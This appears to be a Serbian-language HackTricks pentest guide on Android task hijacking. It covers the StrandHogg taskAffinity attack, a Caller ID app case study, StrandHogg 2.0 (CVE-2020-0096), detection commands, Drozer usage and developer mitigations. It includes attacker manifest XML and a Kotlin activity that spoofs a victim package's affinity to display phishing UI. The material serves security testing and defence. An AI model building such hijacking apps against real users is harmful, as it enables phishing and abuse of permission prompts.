145 lines
8.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Android Task Hijacking
{{#include ../../banners/hacktricks-training.md}}
## Task, Back Stack and Foreground Activities
U Androidu, **task** je u suštini skup aktivnosti sa kojima korisnici interaguju da bi završili određeni posao, organizovan unutar **back stack**. Ova stog organizuje aktivnosti na osnovu vremena kada su otvorene, pri čemu je najnovija aktivnost prikazana na vrhu kao **foreground activity**. U bilo kojem trenutku, samo je ova aktivnost vidljiva na ekranu, čineći je delom **foreground task**.
Evo brzog pregleda prelaza između aktivnosti:
- **Activity 1** počinje kao jedina aktivnost u foreground-u.
- Pokretanje **Activity 2** pomera **Activity 1** u back stack, dovodeći **Activity 2** u foreground.
- Pokretanje **Activity 3** pomera **Activity 1** i **Activity 2** dalje nazad u stogu, pri čemu je **Activity 3** sada ispred.
- Zatvaranje **Activity 3** vraća **Activity 2** u foreground, prikazujući Androidov pojednostavljeni mehanizam navigacije kroz zadatke.
![https://developer.android.com/images/fundamentals/diagram_backstack.png](<../../images/image (698).png>)
---
## Task affinity attacks
`taskAffinity` govori Androidu kojoj zadatku bi `Activity` *preferirala* da pripada. Kada dve aktivnosti dele istu afinitet, **Android može da ih spoji unutar istog back-stack-a čak i ako dolaze iz različitih APK-ova**.
Ako napadač može da postavi zloćudnu aktivnost na **root** tog stoga, svaki put kada žrtva otvori legitimnu aplikaciju, zloćudni UI će biti prva stvar koju korisnik vidi savršeno za phishing ili zlostavljanje zahteva za dozvolama.
Površina napada je šira nego što mnogi programeri misle jer **svaka aktivnost automatski nasleđuje afinitet jednak imenu paketa aplikacije** (osim ako programer ne postavi `android:taskAffinity=""`). Stoga *ne preduzimanje ništa* već ostavlja aplikaciju otvorenom za hijacking zadataka na Android verzijama pre 11.
### Classic "singleTask / StrandHogg" scenario
1. Napadač deklarira aktivnost sa:
```xml
<activity android:name=".EvilActivity"
android:exported="true"
android:taskAffinity="com.victim.package"
android:launchMode="singleTask" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
```
2. Zloćudna aplikacija se pokreće jednom kako bi zadatak (sa lažnim afinitetom) postojao u nedavnim zadacima.
3. Kada korisnik kasnije otvori pravu aplikaciju, Android pronalazi da već postoji zadatak čija **root afinitet odgovara paketu** i jednostavno dovodi taj zadatak u foreground.
4. UI napadača se prikazuje prvi.
### DefaultAffinity (no `singleTask`) variant Caller ID case study
Ranljivost prijavljena u aplikaciji **Caller ID (caller.id.phone.number.block)** pokazuje da napad *takođe* funkcioniše protiv podrazumevanog `standard` režima pokretanja:
1. Aplikacija napadača kreira lažnu root aktivnost i odmah se skriva:
```kotlin
class HackActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
moveTaskToBack(true) // keep the task in recents but out of sight
}
}
```
2. Manifest samo treba da kopira paket žrtve u `taskAffinity`:
```xml
<activity android:name=".HackActivity"
android:exported="true"
android:taskAffinity="com.caller.id.phone.number.block" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
```
3. Čim korisnik instalira i otvori zloćudnu aplikaciju **jednom**, postoji zadatak čija afinitet odgovara paketu žrtve (ali se nalazi u pozadini).
4. Kada se prava Caller ID aplikacija pokrene, Android ponovo koristi taj zadatak i dovodi `HackActivity` u foreground → phishing prozor/zlostavljanje dozvola.
> NOTE: Počevši od **Android 11 (API 30)**, sistem *ne* postavlja dva paketa koja nisu deo istog UID u isti zadatak po defaultu, ublažavajući ovu posebnu varijantu. Starije verzije ostaju ranjive.
---
### StrandHogg 2.0 (CVE-2020-0096) Reflection-based task hijack
Googleova bezbednosna obaveštenja iz maja 2020. ispravila su napredniju varijantu nazvanu **StrandHogg 2.0**. Eksploatacija **ne oslanja se na `taskAffinity` uopšte**; umesto toga koristi *reflection* da dinamički umetne aktivnost napadača na vrh *svakog* aktivnog zadatka, potpuno zaobilazeći ograničenje “shared-UID” koje je uvedeno u Android 11.
Ključne tačke:
* Zloćudna aplikacija bez dozvola može, kada se otvori, iterirati kroz aktivne zadatke i pozvati skrivene API-je da **re-parent** svoju aktivnost u bilo koji zadatak.
* Budući da se aktivnost umetne nakon vremena izvršavanja, ni `launchMode` ni statička analiza manifesta ne mogu unapred otkriti napad.
* Ispravljeno vraćanjem provere u **Android 8.0/8.1/9** (maj 2020 SPL). **Android 10 i noviji nisu pogođeni.**
Otkrivanje na uređajima pre ispravke može se izvršiti sa `adb shell dumpsys activity activities` i posmatranjem sumnjivih aktivnosti čije ime paketa se razlikuje od *afiniteta* zadatka.
Ublažavanje za starije uređaje je isto kao klasični hijacking zadataka **plus** verifikacija u vreme izvršavanja (npr. pozivajući [`ActivityManager#getRunningTasks`](https://developer.android.com/reference/android/app/ActivityManager#getRunningTasks(int)) i validirajući svoje ime paketa).
---
## Detection & Exploitation checklist
1. **Static review** Preuzmite `AndroidManifest.xml` iz ciljanog APK-a i proverite da svaka `<activity>` (ili globalni `<application>` element) sadrži `android:taskAffinity=""` (prazno) **ili** prilagođenu vrednost. Alati kao što su:
```bash
# Using apkanalyzer (Android SDK)
apkanalyzer manifest print app.apk | grep -i taskaffinity
# Using AXMLPrinter2
java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
```
2. **Dynamic review** Na uređaju otvorite ciljan app i navedite zadatke:
```bash
adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"
```
Zadatak čija root afinitet odgovara paketu žrtve, ali čija gornja aktivnost pripada *drugom* paketu je crvena zastava.
3. Napravite zloćudnu aplikaciju kao što je opisano iznad, ili koristite **[Drozer](https://github.com/WithSecureLabs/drozer)**:
```bash
drozer console connect
run app.activity.start --component com.victim/.MainActivity --action android.intent.action.MAIN
run app.activity.info com.victim
```
---
## Mitigation
Programeri bi trebali:
* Eksplicitno postaviti `android:taskAffinity=""` na nivou `<application>` (preporučeno) **ili** dati svakoj aktivnosti jedinstven, privatni afinitet.
* Za veoma osetljive ekrane, kombinovati navedeno sa `android:launchMode="singleInstance"` ili modernim [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) zaštitama.
* Ažurirati `targetSdkVersion` aplikacije i primeniti **Android 11** promene ponašanja gde se zadaci po defaultu ne dele između paketa.
* Ciljati **Android 12 (API 31) ili noviji** tako da obavezni atribut `android:exported` primorava programere da audituju svaku spolja dostupnu komponentu.
* Razmotriti samoodbranu u vreme izvršavanja: povremeno upititi `ActivityTaskManager` da osigura da se ime paketa vaše gornje aktivnosti poklapa sa vašim.
---
## Related UI-Hijacking techniques
Hijacking zadataka se često kombinuje sa ili zamenjuje **tapjacking** (obmana UI zasnovana na preklapanju). Istraživanje **TapTrap** iz 2025. pokazalo je da potpuno prozirne *animacije* mogu zaobići ograničenja dodira preklapanja uvedena u Android 1214 i još uvek prevariti korisnike da dodele opasne dozvole. Iako TapTrap nije strogo *task* hijacking, krajnji cilj (phishing klikovi) je identičan tako da moderna ocenjivanja treba da provere obe površine napada.
---
## References
- [https://blog.dixitaditya.com/android-task-hijacking/](https://blog.dixitaditya.com/android-task-hijacking/)
- [https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
- [Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app](https://github.com/KMov-g/androidapps/blob/main/caller.id.phone.number.block.md)
- [https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06](https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06)
- [Promon StrandHogg 2.0 (CVE-2020-0096) technical write-up](https://promon.io/resources/downloads/strandhogg-2-0-new-serious-android-vulnerability)
- [USENIX 2025 TapTrap: Animation-Driven Tapjacking on Android](https://www.usenix.org/conference/usenixsecurity25/presentation/beer)
{{#include ../../banners/hacktricks-training.md}}